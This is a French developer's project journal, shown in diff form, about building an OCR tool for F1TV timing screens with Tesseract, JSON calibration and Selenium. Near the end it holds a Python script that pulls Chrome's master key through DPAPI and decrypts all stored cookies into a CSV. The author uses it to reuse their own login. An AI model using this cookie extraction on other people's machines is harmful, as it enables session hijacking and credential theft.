-                                    if (rect.Y > boundingBox.Y1 - tolerance && rect.Y < boundingBox.Y1 + tolerance)
-                                    {
-                                        //There already is a rectangle in this line
-                                        match = true;
-                                    }
-                                }
-                                //if nothing matched we can add it
-                                if(!match)
-                                    detectedText.Add(new Rectangle(boundingBox.X1, boundingBox.Y1, boundingBox.Width, boundingBox.Height));
-                            }
-                        }  
-                    }
-                } while (iter.Next(PageIteratorLevel.Word));
-            }
-            foreach (Rectangle Rectangle in detectedText)
-            {
-                Rectangle windowRectangle;
-                Size windowSize = new Size(image.Width, image.Height / NUMBER_OF_DRIVERS);
-                Point windowLocation = new Point(0, (Rectangle.Y + Rectangle.Height / 2) - windowSize.Height / 2);
-                windowRectangle = new Rectangle(windowLocation, windowSize);
-
-                Zones.Add(new Zone(ZoneImage, windowRectangle));
-            }
-        }
-
    +
    public void AutoCalibrate()
+        {
+            List<Rectangle> detectedText = new List<Rectangle>();
+            Zones = new List<Zone>();
+
+            TesseractEngine engine = new TesseractEngine(Window.tessDataFolder.FullName, "eng", EngineMode.Default);
+            Image image = ZoneImage;
+            var tessImage = Pix.LoadFromMemory(Window.ImageToByte(image));
+
+            Page page = engine.Process(tessImage);
+            using (var iter = page.GetIterator())
+            { 
+                iter.Begin();
+                do
+                {
+                    Rect boundingBox;
+                    if (iter.TryGetBoundingBox(PageIteratorLevel.Word, out boundingBox))
+                    {
+                        //var text = iter.GetText(PageIteratorLevel.Word).ToUpper();
+                        //We remove all the rectangles that are definitely too big
+                        if (boundingBox.Height < image.Height / NUMBER_OF_DRIVERS) {
+                            //Now we add a filter to only get the boxes in the right because they are much more reliable in size
+                            if (boundingBox.X1 > image.Width / 2)
+                            {
+                                //Now we check if an other square box has been found roughly in the same y axis
+                                bool match = false;
+                                //The tolerance is roughly half the size that a window will be
+                                int tolerance = (image.Height / NUMBER_OF_DRIVERS) / 2; 
+
+                                foreach (Rectangle rect in detectedText)
+                                {
+                                    if (rect.Y > boundingBox.Y1 - tolerance && rect.Y < boundingBox.Y1 + tolerance)
+                                    {
+                                        //There already is a rectangle in this line
+                                        match = true;
+                                    }
+                                }
+                                //if nothing matched we can add it
+                                if(!match)
+                                    detectedText.Add(new Rectangle(boundingBox.X1, boundingBox.Y1, boundingBox.Width, boundingBox.Height));
+                            }
+                        }  
+                    }
+                } while (iter.Next(PageIteratorLevel.Word));
+            }
+            foreach (Rectangle Rectangle in detectedText)
+            {
+                Rectangle windowRectangle;
+                Size windowSize = new Size(image.Width, image.Height / NUMBER_OF_DRIVERS);
+                Point windowLocation = new Point(0, (Rectangle.Y + Rectangle.Height / 2) - windowSize.Height / 2);
+                windowRectangle = new Rectangle(windowLocation, windowSize);
+
+                Zones.Add(new Zone(ZoneImage, windowRectangle));
+            }
+        }
+

    Ca peut paraitre pas énorme comme code mais pour tout mettre en place ca demande quand même pas mal de reflexion.

    J'ai du clean un peu le code que j'avais fait pour permettre la selection de zones et ajouter la possibilité d'ajouter des windows sur une zone.

    J'ai juste quelques difficultées à les ajouter correctement, j'ai un offset tout pourri qui se met tout le temps

    @@ -1013,36 +1208,36 @@ namespace OCR_tester

    Maintenant je dirais que les deux prochaines choses à faire seraient de stocker ces zones dans un fichier JSON ou autre pour que la calibration puisse être envoyée directement dans le logiciel de reconnaissance et ensuite de faire une calibration sur des images qui font la taille qu'on aura pendant les Grands Prix. Pour le moment elles sont au format 16:10 qui est le format d'écrant de mon laptop.

    Pour le stockage j'imagine un fichier qui donne des indications assez simples qui permettent de reconstruire le total des zones quand il est importé plutot que d'écrire les coordonnées en dur pour chacunes.

    Chaque Grande zone va implémenter une methode qui s'occupe de mettre tous ses enfants dans un fichier.

    -
    {
-    "MainZone":{
-        "x": 10,
-        "y": 20,
-        "width": 1450,
-        "height": 1340,
-        "DriverZone":{
-            "x": 0,
-            "y": 23,
-            "height": 25,
-            "Windows":[
-                {
-                    "DriverPositionWindow":{
-                        "x": 0,
-                        "y": 0,
-                        "width": 35
-                    }
-                },
-                {
-                    "DriverPositionChangesWindow":{
-                        "x": 0,
-                        "y": 0,
-                        "width":45
-                    }
-                }
-            ]
-        }
-    }
-}
-
    +
    {
+    "MainZone":{
+        "x": 10,
+        "y": 20,
+        "width": 1450,
+        "height": 1340,
+        "DriverZone":{
+            "x": 0,
+            "y": 23,
+            "height": 25,
+            "Windows":[
+                {
+                    "DriverPositionWindow":{
+                        "x": 0,
+                        "y": 0,
+                        "width": 35
+                    }
+                },
+                {
+                    "DriverPositionChangesWindow":{
+                        "x": 0,
+                        "y": 0,
+                        "width":45
+                    }
+                }
+            ]
+        }
+    }
+}
+

    C'est le résultat auquel j'aimerais arriver. Mais pour y arriver il faut encore que je crée les différents types de window.

    Cela veut dire que je dois décider quelles informations je vais récupèrer de la page.

    Par exemple je vais conserver la position du pilote mais au final les changements de positions sont difficiles à lire et sont redondants. Si je garde un historique des positions des pilotes je peux calculer moi même les changements.

    @@ -1058,79 +1253,79 @@ namespace OCR_tester

    Avec un peu de code très moche j'ai pu créer un fichier JSON qui contient les différentes infos. Cependant en exportant TOUT on se retrouve avec un fichier de 1200 lignes ce qui n'est pas optimal.

    Mais quand on regarde, il devrait être possible de faire un fichier qui ne contient que les infos d'un seul pilote car ensuite il y a simplement un offset à appliquer sur la zone et les windows.

    Je vais donc pouvoir commencer enfin le logiciel de décodage qui prend en entrée un fichier JSON comme celui ci qui a été génèré avec le programme de calibration.

    -
    {
-    "Main": {
-        "x": 40,
-        "y": 230,
-        "width": 1845,
-        "height": 719,
-        "Zones": [
-            {
-                "DriverZone": {
-                    "x": 0,
-                    "y": 3,
-                    "width": 1845,
-                    "height": 35,
-                    "Windows": [
-                        {
-                            "Position": {
-                                "x": 2,
-                                "y": 0,
-                                "width": 32
-                            },
-                            "GapToLeader": {
-                                "x": 204,
-                                "y": 0,
-                                "width": 96
-                            },
-                            "LapTime": {
-                                "x": 413,
-                                "y": 0,
-                                "width": 105
-                            },
-                            "Drs": {
-                                "x": 526,
-                                "y": 0,
-                                "width": 81
-                            },
-                            etc...
-                        }
-                    ]
-                }
-            }
-        ]
-    }
-}
-
    +
    {
+    "Main": {
+        "x": 40,
+        "y": 230,
+        "width": 1845,
+        "height": 719,
+        "Zones": [
+            {
+                "DriverZone": {
+                    "x": 0,
+                    "y": 3,
+                    "width": 1845,
+                    "height": 35,
+                    "Windows": [
+                        {
+                            "Position": {
+                                "x": 2,
+                                "y": 0,
+                                "width": 32
+                            },
+                            "GapToLeader": {
+                                "x": 204,
+                                "y": 0,
+                                "width": 96
+                            },
+                            "LapTime": {
+                                "x": 413,
+                                "y": 0,
+                                "width": 105
+                            },
+                            "Drs": {
+                                "x": 526,
+                                "y": 0,
+                                "width": 81
+                            },
+                            etc...
+                        }
+                    ]
+                }
+            }
+        ]
+    }
+}
+

    Dans le futur il faudrait ajouter d'autres choses comme par exemple les différents pilotes présents sur le Grand Prix et ce genre d'infos.

    Quoique je vais l'ajouter déja maintenant et plus tard je mettrai en place la feature acessible depuis l'interface. Mais le hardcoder maintenant me permet déja de mieux coder l'autre côté.

    Ce programme n'est en aucun cas terminé et je vais devoir travailler encore un peu dessus pour qu'il soit utilisable correctement mais au moins il fonctionne à peu près.

    Exemple du json avec les noms de pilotes:

    -
    {
-    "Main": {
-        "x": 37,
-        "y": 238,
-        "width": 1851,
-        "height": 713,
-        "Zones": [
-            {
-                "DriverZone": {
-                    "x": 0,
-                    "y": -5,
-                    "width": 1851,
-                    "height": 35
-                }
-            }
-        ]
-    },
-    "Drivers": [
-        "Leclerc",
-        "Verstappen",
-        etc...
-    ]
-}
-
    -

    Maintenant je vais m'attaquer au décodage.

    +

    {
+    "Main": {
+        "x": 37,
+        "y": 238,
+        "width": 1851,
+        "height": 713,
+        "Zones": [
+            {
+                "DriverZone": {
+                    "x": 0,
+                    "y": -5,
+                    "width": 1851,
+                    "height": 35
+                }
+            }
+        ]
+    },
+    "Drivers": [
+        "Leclerc",
+        "Verstappen",
+        etc...
+    ]
+}
+
    +Maintenant je vais m'attaquer au décodage.

    Demain je dois finir le décodage du JSON et je dois commencer à implémenter la reconnaissance des textes. Voire même des pneus etc si j'y arrive.

    Mercredi 5 Avril

    Bon la il faut vraiment que je finisse assez vite la lecture du JSON et la reconstruction des zones pour commencer la reconnaissance.

    @@ -1171,53 +1366,53 @@ namespace OCR_tester

    En gros on des listes et des listes de listes de zones, c'est la partie un peu plus technique car il y a des zones qui peuvent contenir d'autres zones etc.

    Je vais commencer par la reconnaissance de noms.

    Voici le tableau de pilotes de 2023

    -
    "Drivers": [
-        "Leclerc",
-        "Verstappen",
-        "Hamilton",
-        "Alonso",
-        "Russel",
-        "Gasly",
-        "Stroll",
-        "Sainz",
-        "Hulkenberg",
-        "Norris",
-        "Tsunoda",
-        "Piastri",
-        "Zhou",
-        "Ocon",
-        "Magnussen",
-        "Perez",
-        "Sargeant",
-        "De Vries",
-        "Bottas",
-        "Albon"
-    ]
-
    +
    "Drivers": [
+        "Leclerc",
+        "Verstappen",
+        "Hamilton",
+        "Alonso",
+        "Russel",
+        "Gasly",
+        "Stroll",
+        "Sainz",
+        "Hulkenberg",
+        "Norris",
+        "Tsunoda",
+        "Piastri",
+        "Zhou",
+        "Ocon",
+        "Magnussen",
+        "Perez",
+        "Sargeant",
+        "De Vries",
+        "Bottas",
+        "Albon"
+    ]
+

    ET voici le tableau de pilotes de 2022 :

    -
    "Drivers": [
-        "Leclerc",
-        "Verstappen",
-        "Sainz",
-        "Perez",
-        "Hamilton",
-        "Russel",
-        "Magnussen",
-        "Gasly",
-        "Ocon",
-        "Alonso",
-        "Tsunoda",
-        "Bottas",
-        "Zhou",
-        "Albon",
-        "Stroll",
-        "Schumacher",
-        "Hulkenberg",
-        "Norris",
-        "Latifi",
-        "Ricciardo"
-    ]
-
    +
    "Drivers": [
+        "Leclerc",
+        "Verstappen",
+        "Sainz",
+        "Perez",
+        "Hamilton",
+        "Russel",
+        "Magnussen",
+        "Gasly",
+        "Ocon",
+        "Alonso",
+        "Tsunoda",
+        "Bottas",
+        "Zhou",
+        "Albon",
+        "Stroll",
+        "Schumacher",
+        "Hulkenberg",
+        "Norris",
+        "Latifi",
+        "Ricciardo"
+    ]
+

    Je les notes ici car J'ai souvent besoin de changer selon le dataset que j'utilise.

    Dans le futur je ferai sûrement un grand dataset qui prend des pilotes de reserves et des pilotes juniors pour que dans le cas ou un pilote est remplacé dans l'année il n'y a pas besoin de tout recalibrer avec l'application.

    Après une discussion avec M.Bonvin j'ai décidé de tester 3 valeurs de convertion en noir et blanc et si je ne trouve pas un match exact je prend le nom le plus proche.

    @@ -1244,29 +1439,29 @@ namespace OCR_tester

    Et on se retrouve avec 1:35:123

    Maintenant après un peu de temps pour nettoyer la string etc on se retrouve avec un résultat comme le suivant :

    -
    Position : 0 
-Gap to leader : 0:0:0 
-Lap time : 2:15:123 
-DRS : False
-Tyre : Undefined laps with the tyre : 0 
-Driver name : LECLERC 
-Sector 1 : 0:31:323 
-Sector 2 : 0:42:340 
-Sector 3 : 0:0:0 
-
    +
    Position : 0 
+Gap to leader : 0:0:0 
+Lap time : 2:15:123 
+DRS : False
+Tyre : Undefined laps with the tyre : 0 
+Driver name : LECLERC 
+Sector 1 : 0:31:323 
+Sector 2 : 0:42:340 
+Sector 3 : 0:0:0 
+

    Evidemment pareil pour les autres pilotes Et je me rend compte que j'ai encore tout cassé car le laptime ne devrait pas être 2:15 mais 1:35...

    Voila après une heure de debugging et des ajouts pour nettoyer les chaines on se retrouve avec :

    -
    Position : 0 
-Gap to leader : 0:0:0 
-Lap time : 1:35:123 
-DRS : False
-Tyre : Undefined laps with the tyre : 0 
-Driver name : LECLERC 
-Sector 1 : 0:31:323 
-Sector 2 : 0:42:340 
-Sector 3 : 0:0:0 
-
    +
    Position : 0 
+Gap to leader : 0:0:0 
+Lap time : 1:35:123 
+DRS : False
+Tyre : Undefined laps with the tyre : 0 
+Driver name : LECLERC 
+Sector 1 : 0:31:323 
+Sector 2 : 0:42:340 
+Sector 3 : 0:0:0 
+

    Note: le traitement commence à devenir long, il serait peut-être intéressant d'utiliser un seul Tesseract Engine ou de voir ce qui prend autant de temps, on dépasse la seconde de traitement ce qui est un peu ma limite.

    Après on peut toujours tester de rajouter du multicore processing mais c'est pour une autre fois.

    Demain je m'occupe de règler les soucis que j'ai avec la prescision de ces temps au tour et j'éspère pouvoir m'occuper aussi de la position des pneus et du DRS. J'aimerais finir tout ca cette semaine.

    @@ -1356,25 +1551,25 @@ Avec la seconde option c'est déja pas mal mieux mais on perd complètement la p

    Et la on a des résultats qui sont vraiment bons.

    J'ai pu ajouter assez facilement la detection de position comme c'est simplement un chiffre.

    On se retrouve maintenant avec ce genre de retours :

    -
    Position : 1 
-Gap to leader : 8:33:51 
-Lap time : 2:19:123 
-DRS : False
-Tyre : Undefined laps with the tyre : 0 
-Driver name : LECLERC 
-Sector 1 : 0:31:828 
-Sector 2 : 0:42:940 
-Sector 3 : 0:0:0 
-Position : 2 
-Gap to leader : 0:3:259 
-Lap time : 23:12:392 
-DRS : False
-Tyre : Undefined laps with the tyre : 0 
-Driver name : VERSTAPPEN 
-Sector 1 : 0:38:119 
-Sector 2 : 0:0:0 
-Sector 3 : 0:0:0 
-
    +
    Position : 1 
+Gap to leader : 8:33:51 
+Lap time : 2:19:123 
+DRS : False
+Tyre : Undefined laps with the tyre : 0 
+Driver name : LECLERC 
+Sector 1 : 0:31:828 
+Sector 2 : 0:42:940 
+Sector 3 : 0:0:0 
+Position : 2 
+Gap to leader : 0:3:259 
+Lap time : 23:12:392 
+DRS : False
+Tyre : Undefined laps with the tyre : 0 
+Driver name : VERSTAPPEN 
+Sector 1 : 0:38:119 
+Sector 2 : 0:0:0 
+Sector 3 : 0:0:0 
+

    Il ne manque plus que l'implémentation de la reconnaissance du DRS et des Pneus

    Et non... je viens de me rendre compte que mon programme a encore cassé car le tap time ne peut pas être 23 min lol.

    J'ai un nouveau magnifique problème... Les points et les deux points sont interprêtés comme des chiffres ... Give me a F** break...

    @@ -1394,25 +1589,25 @@ Sector 3 : 0:0:0

    J'ai réussi à règler le problème des temps au tour, des gaps, et des secteurs. Dans le processus j'ai cassé la detection de position mais ca devrait pas être TROP compliqué.

    Et voila ... Après seulement plus de dix heures de galère, si on donne cette image au programme et le bon JSON le programme nous retourne :

    -
    Position : 1 
-Gap to leader : 0:05:059 
-Lap time : 1:39:123 
-DRS : False
-Tyre : Undefined laps with the tyre : 0 
-Driver name : LECLERC 
-Sector 1 : 0:31:828 
-Sector 2 : 0:42:940 
-Sector 3 : 0:00:000 
-Position : 2 
-Gap to leader : 0:03:259 
-Lap time : 1:39:392 
-DRS : False
-Tyre : Undefined laps with the tyre : 0 
-Driver name : VERSTAPPEN 
-Sector 1 : 0:31:749 
-Sector 2 : 0:00:000 
-Sector 3 : 0:00:000 
-
    +
    Position : 1 
+Gap to leader : 0:05:059 
+Lap time : 1:39:123 
+DRS : False
+Tyre : Undefined laps with the tyre : 0 
+Driver name : LECLERC 
+Sector 1 : 0:31:828 
+Sector 2 : 0:42:940 
+Sector 3 : 0:00:000 
+Position : 2 
+Gap to leader : 0:03:259 
+Lap time : 1:39:392 
+DRS : False
+Tyre : Undefined laps with the tyre : 0 
+Driver name : VERSTAPPEN 
+Sector 1 : 0:31:749 
+Sector 2 : 0:00:000 
+Sector 3 : 0:00:000 
+

    Evidemment le GapToLeader est faux sur leclerc car il est leader mais bon ca je pourrai toujours Hardcoder que le premier a jamais de GapToLeader.

    Bon j'ai eu beaucoup de soucis que je ne vais pas mentionner ici car ce sont simplement des soucis de logique de programmation pour trouver un DRS ouvert ou non.

    Au final la technique que j'utilise et qui marche plutôt bien pour le DRS est que je prend la première image de DRS et je la déclare comme valeur étalon d'un DRS non actif, en effet dans 99% des cas le leader n'a pas de DRS (cela peut arriver alors il faudra donc juste verifier que les pilotes sont bien à moins de deux secondes les uns des autres pour confirmer).

    @@ -1440,31 +1635,31 @@ Je ne peux pas hardocder un endroit ou aller regarder car cela évolue tout le l
    "Color fun"

    Et je crois que j'ai eu une bonne idée, avec une petite methode bien faite on arrive à de supers résultats :

    -
    private Rectangle FindTyreZone()
-        {
-            Bitmap bmp = WindowImage;
-            int currentPosition = bmp.Width;
-            int height = bmp.Height / 2;
-            Color limitColor = Color.FromArgb(0x50,0x50,0x50);
-            Color currentColor = Color.FromArgb(0,0,0);
-
-            Size newWindowSize = new Size(bmp.Height,bmp.Height);
-
-            while(currentColor.R <= limitColor.R && currentColor.G <= limitColor.G && currentColor.B <= limitColor.B && currentPosition > 0)
-            {
-                currentPosition--;
-                currentColor = bmp.GetPixel(currentPosition,height);
-            }
-
-            //Its here to let the new window include a little bit of the right side
-            int offset = Convert.ToInt32((float)newWindowSize.Width / 100f * 20f);
-            int CorrectedX = currentPosition - (newWindowSize.Width - offset);
-            if (CorrectedX <= 0)
-                return new Rectangle(0,0,newWindowSize.Width,newWindowSize.Height);
-
-            return new Rectangle(CorrectedX,0,newWindowSize.Width,newWindowSize.Height);
-        }
-
    +
    private Rectangle FindTyreZone()
+        {
+            Bitmap bmp = WindowImage;
+            int currentPosition = bmp.Width;
+            int height = bmp.Height / 2;
+            Color limitColor = Color.FromArgb(0x50,0x50,0x50);
+            Color currentColor = Color.FromArgb(0,0,0);
+
+            Size newWindowSize = new Size(bmp.Height,bmp.Height);
+
+            while(currentColor.R <= limitColor.R && currentColor.G <= limitColor.G && currentColor.B <= limitColor.B && currentPosition > 0)
+            {
+                currentPosition--;
+                currentColor = bmp.GetPixel(currentPosition,height);
+            }
+
+            //Its here to let the new window include a little bit of the right side
+            int offset = Convert.ToInt32((float)newWindowSize.Width / 100f * 20f);
+            int CorrectedX = currentPosition - (newWindowSize.Width - offset);
+            if (CorrectedX <= 0)
+                return new Rectangle(0,0,newWindowSize.Width,newWindowSize.Height);
+
+            return new Rectangle(CorrectedX,0,newWindowSize.Width,newWindowSize.Height);
+        }
+
    "Tyres"
    @@ -1566,56 +1761,56 @@ Je ne peux pas hardocder un endroit ou aller regarder car cela évolue tout le l

    Je vais m'occuper dabord du loading.

    J'ai essayé d'utiliser un Parrallel.For au moment de la création des windows, le problème c'est que visiblement les objets windows sont beaucoup trops complexes et utilisent trop de ressources partagées pour être vraiment thread Safe. J'éspère que je n'aurais pas trop de soucis avec ca qu'en j'en viendrai à l'optimisation de l'OCR...

    Ce qui me rend fou c'est que cette boucle toute nulle prend plus de dix secondes à s'executer et je ne comprend pas bien pourquoi.

    -
    for (int i = 0; i < NUMBER_OF_DRIVERS; i++)
-                    {
-                        Point tmpPos = new Point(0, FirstZonePosition.Y + i * FirstZoneSize.Height - Convert.ToInt32(i * offset) /*- (i* (FirstZoneSize.Height / 32))*/);
-                        Zone newDriverZone = new Zone(MainZoneImage, new Rectangle(tmpPos, FirstZoneSize));
-                        Bitmap zoneImg = newDriverZone.ZoneImage;
-
-                        newDriverZone.AddWindow(new DriverPositionWindow(zoneImg, new Rectangle(driverPositionPosition, driverPositionArea)));
-                        newDriverZone.AddWindow(new DriverGapToLeaderWindow(zoneImg, new Rectangle(driverGapToLeaderPosition, driverGapToLeaderArea)));
-                        newDriverZone.AddWindow(new DriverLapTimeWindow(zoneImg, new Rectangle(driverLapTimePosition, driverLapTimeArea)));
-                        newDriverZone.AddWindow(new DriverDrsWindow(zoneImg, new Rectangle(driverDrsPosition, driverDrsArea)));
-                        newDriverZone.AddWindow(new DriverTyresWindow(zoneImg, new Rectangle(driverTyresPosition, driverTyresArea)));
-                        newDriverZone.AddWindow(new DriverNameWindow(zoneImg, new Rectangle(driverNamePosition, driverNameArea)));
-                        newDriverZone.AddWindow(new DriverSector1Window(zoneImg, new Rectangle(driverSector1Position, driverSector1Area)));
-                        newDriverZone.AddWindow(new DriverSector2Window(zoneImg, new Rectangle(driverSector2Position, driverSector2Area)));
-                        newDriverZone.AddWindow(new DriverSector3Window(zoneImg, new Rectangle(driverSector3Position, driverSector3Area)));
-
-                        MainZone.AddZone(newDriverZone);
-                    }
-
    +
    for (int i = 0; i < NUMBER_OF_DRIVERS; i++)
+                    {
+                        Point tmpPos = new Point(0, FirstZonePosition.Y + i * FirstZoneSize.Height - Convert.ToInt32(i * offset) /*- (i* (FirstZoneSize.Height / 32))*/);
+                        Zone newDriverZone = new Zone(MainZoneImage, new Rectangle(tmpPos, FirstZoneSize));
+                        Bitmap zoneImg = newDriverZone.ZoneImage;
+
+                        newDriverZone.AddWindow(new DriverPositionWindow(zoneImg, new Rectangle(driverPositionPosition, driverPositionArea)));
+                        newDriverZone.AddWindow(new DriverGapToLeaderWindow(zoneImg, new Rectangle(driverGapToLeaderPosition, driverGapToLeaderArea)));
+                        newDriverZone.AddWindow(new DriverLapTimeWindow(zoneImg, new Rectangle(driverLapTimePosition, driverLapTimeArea)));
+                        newDriverZone.AddWindow(new DriverDrsWindow(zoneImg, new Rectangle(driverDrsPosition, driverDrsArea)));
+                        newDriverZone.AddWindow(new DriverTyresWindow(zoneImg, new Rectangle(driverTyresPosition, driverTyresArea)));
+                        newDriverZone.AddWindow(new DriverNameWindow(zoneImg, new Rectangle(driverNamePosition, driverNameArea)));
+                        newDriverZone.AddWindow(new DriverSector1Window(zoneImg, new Rectangle(driverSector1Position, driverSector1Area)));
+                        newDriverZone.AddWindow(new DriverSector2Window(zoneImg, new Rectangle(driverSector2Position, driverSector2Area)));
+                        newDriverZone.AddWindow(new DriverSector3Window(zoneImg, new Rectangle(driverSector3Position, driverSector3Area)));
+
+                        MainZone.AddZone(newDriverZone);
+                    }
+

    Alors que Zone.AddWindow c'est simplement :

    -
    public virtual void AddWindow(Window window)
-        {
-            Windows.Add(window);
-        }
-
    +
    public virtual void AddWindow(Window window)
+        {
+            Windows.Add(window);
+        }
+

    Et windows est simplement une liste. Donc ca ne peut pas être ca qui prend du temps.

    Et les windows que je créé ont ca comme code :

    -
    public DriverPositionWindow(Bitmap image, Rectangle bounds) : base(image, bounds)
-        {
-            Name = "Position";
-        }
-
    +
    public DriverPositionWindow(Bitmap image, Rectangle bounds) : base(image, bounds)
+        {
+            Name = "Position";
+        }
+

    Sachant que le constructeur de base d'une Window c'est :

    -
    public Window(Bitmap image, Rectangle bounds)
-        {
-            Image = image;
-            Bounds = bounds;
-
-            Engine = new TesseractEngine(TESS_DATA_FOLDER.FullName, "eng", EngineMode.Default);
-            Engine.DefaultPageSegMode = PageSegMode.SingleLine;
-        }
-
    +
    public Window(Bitmap image, Rectangle bounds)
+        {
+            Image = image;
+            Bounds = bounds;
+
+            Engine = new TesseractEngine(TESS_DATA_FOLDER.FullName, "eng", EngineMode.Default);
+            Engine.DefaultPageSegMode = PageSegMode.SingleLine;
+        }
+

    Sachant que TesseractEngine est en statique et que donc il ne devrait... OHLLALALALALALALALALA je suis un imbécile...

    J'ai juste à changer ce constructeur avec ca:

    -
    if (Engine == null)
-            {
-                Engine = new TesseractEngine(TESS_DATA_FOLDER.FullName, "eng", EngineMode.Default);
-                Engine.DefaultPageSegMode = PageSegMode.SingleLine;
-            }
-
    +
    if (Engine == null)
+            {
+                Engine = new TesseractEngine(TESS_DATA_FOLDER.FullName, "eng", EngineMode.Default);
+                Engine.DefaultPageSegMode = PageSegMode.SingleLine;
+            }
+

    ET le loading ne prend plus que 2-300 ms...

    Bon c'est une très belle amélioration pour pas très chèr mais bon c'est un peu bête...

    Bon je pense que 2-300ms c'est une durée correcte surtout que ca n'est appelé qu'une fois pour le lancement. On peut passer à la suite maintenant.

    @@ -1684,12 +1879,12 @@ J'avais fait des croquis au crayon de ce à quoi je pensais, cependant après de

    L'ajout des nombres pour compartimenter le projet ajoute de la structure mais je me demande si cela suffit.

    Maintenant que je suis à peu près content de mon code pour l'OCR je vais commencer sa documentation. (Uniquement son fonctionnement interne pas comment s'en servir car cela va changer)

    Bon j'ai créé u nouveau projet selenium mais même avec les bonnes libraries je n'arrivais pas à faire fonctionner firefox j'avais toujours une erreur "OpenQA.Selenium.WebDriverException: 'Cannot start the driver service on http://localhost:51481/'" et j'ai pu règler le problème en téléchargeant directement le gecko driver depuis le git https://github.com/mozilla/geckodriver/releases et utiliser le fichier directement dans le service :

    -
    var service = FirefoxDriverService.CreateDefaultService(AppDomain.CurrentDomain.BaseDirectory+@"geckodriver-v0.27.0-win32\geckodriver.exe");
-
-FirefoxOptions options = new FirefoxOptions();
-
-var driver = new FirefoxDriver(service,options);
-
    +
    var service = FirefoxDriverService.CreateDefaultService(AppDomain.CurrentDomain.BaseDirectory+@"geckodriver-v0.27.0-win32\geckodriver.exe");
+
+FirefoxOptions options = new FirefoxOptions();
+
+var driver = new FirefoxDriver(service,options);
+

    Le seul problème c'est que du coup il faut tout le temps déplacer le fichier dans le dossier bin si je clone le projet. Il faudra faire un installeur dans la version finale qui s'occupe de tout je pense.

    Je me suis dit que j'allais garder la doc pour le retour des vacances quand j'aurai un bureau un clavier et un setup complet un peu propres.

    Bon il va falloir que je parle de la récupération de cookie. @@ -1730,17 +1925,17 @@ Seuls soucis :

    Pour ce faire j'utilise Selenium. J'ai pu tester Puppetteer Sharp et même si dans un premier temps j'ai pu avancer asez vite, malheureusement il y a des bugs qui rendent son utilisation impossible dans notre contexte.

    J'ai donc décidé de tout faire en utilisant un portage de Selenium dans mon programme.

    Voici un exemple de code qui va ouvrir FireFox et qui va lancer un RickRoll

    -
    var service = FirefoxDriverService.CreateDefaultService(AppDomain.CurrentDomain.BaseDirectory+@"geckodriver-v0.27.0-win32\geckodriver.exe");
-            service.Host = "127.0.0.1";
-            service.Port = 5555;
-
-            FirefoxOptions options = new FirefoxOptions();
-            options.AddArgument("--disable-headless");
-
-            var driver = new FirefoxDriver(service,options);
-
-            driver.Navigate().GoToUrl("https://www.youtube.com/watch?v=dQw4w9WgXcQ&autoplay=1&mute=1");
-
    +
    var service = FirefoxDriverService.CreateDefaultService(AppDomain.CurrentDomain.BaseDirectory+@"geckodriver-v0.27.0-win32\geckodriver.exe");
+            service.Host = "127.0.0.1";
+            service.Port = 5555;
+
+            FirefoxOptions options = new FirefoxOptions();
+            options.AddArgument("--disable-headless");
+
+            var driver = new FirefoxDriver(service,options);
+
+            driver.Navigate().GoToUrl("https://www.youtube.com/watch?v=dQw4w9WgXcQ&autoplay=1&mute=1");
+

    Dans cet exemple on désactive le "Headless" pour qu'on puisse voir ce que fait l'app car sinon tout est invisible. Alors dans les faits la vidéo youtube ne se lance pas du tout car il y a des pubs et des prompts de cookies que l'on doit accepter etc... ce qui montre les différents challenges que l'on va devoir surmonter pour vraiment faire ce que l'on veut.

    Mais un petit détail extrêmement important, la F1TV est un programme payant un peu comme netflix. Ce qui veut dire que pour accèder au contenu il faut être connecté. Sauf que une instance de firefox créé par Selenium est comme une page de naviguation privée, ce qui veut dire que si on va sur la page de la F1TV on est pas connectés.

    @@ -1761,75 +1956,75 @@ Alors dans les faits la vidéo youtube ne se lance pas du tout car il y a des pu
  • Il existe beaucoup plus de documentation en Python pour ce qui est de la cryptographie et donc si Chrome change de fonctionnement il sera beaucoup plus simple de changer cette partie en particulier sans avoir à recompiler le code C#.

    • J'ai donc avec l'aide d'internet et de ChatGPT créé ce script :

    -
    def get_master_key():
-    with open(
-        os.getenv("localappdata") + "\\Google\\Chrome\\User Data\\Local State", "r"
-    ) as f:
-        local_state = f.read()
-        local_state = json.loads(local_state)
-    master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
-    master_key = master_key[5:]  # removing DPAPI
-    master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
-    print("MASTER KEY :")
-    print(master_key)
-    print(len(master_key))
-    return master_key
-
-def decrypt_payload(cipher, payload):
-    return cipher.decrypt(payload)
-
-def generate_cipher(aes_key, iv):
-    return AES.new(aes_key, AES.MODE_GCM, iv)
-
-def decrypt_password(buff, master_key):
-    try:
-        iv = buff[3:15]
-        payload = buff[15:]
-        cipher = generate_cipher(master_key, iv)
-        decrypted_pass = decrypt_payload(cipher, payload)
-        decrypted_pass = decrypted_pass[:-16].decode()  # remove suffix bytes
-        return decrypted_pass
-    except Exception:
-        # print("Probably saved password from Chrome version older than v80\n")
-        # print(str(e))
-        return "Chrome < 80"
-
-
-master_key = get_master_key()
-
-cookies_path = Path(
-    os.getenv("localappdata") + "\\Google\\Chrome\\User Data\\Default\\Network\\Cookies"
-)
-
-if not cookies_path.exists():
-    raise ValueError("Cookies file not found")
-
-with sqlite3.connect(cookies_path) as connection:
-    connection.row_factory = sqlite3.Row
-    cursor = connection.cursor()
-    cursor.execute("SELECT * FROM cookies")
-
-    with open('cookies.csv', 'a', newline='') as csvfile:
-        fieldnames = ['host_key', 'name', 'value', 'path', 'expires_utc', 'is_secure', 'is_httponly']
-        writer = csv.DictWriter(csvfile, fieldnames=fieldnames)
-
-        if csvfile.tell() == 0:
-            writer.writeheader()
-
-        for row in cursor.fetchall():
-            decrypted_value = decrypt_password(row["encrypted_value"], master_key)
-            writer.writerow({
-                'host_key': row["host_key"],
-                'name': row["name"],
-                'value': decrypted_value,
-                'path': row["path"],
-                'expires_utc': row["expires_utc"],
-                'is_secure': row["is_secure"],
-                'is_httponly': row["is_httponly"]
-            })
-
-print("Finished CSV")
-
    +
    def get_master_key():
+    with open(
+        os.getenv("localappdata") + "\\Google\\Chrome\\User Data\\Local State", "r"
+    ) as f:
+        local_state = f.read()
+        local_state = json.loads(local_state)
+    master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
+    master_key = master_key[5:]  # removing DPAPI
+    master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
+    print("MASTER KEY :")
+    print(master_key)
+    print(len(master_key))
+    return master_key
+
+def decrypt_payload(cipher, payload):
+    return cipher.decrypt(payload)
+
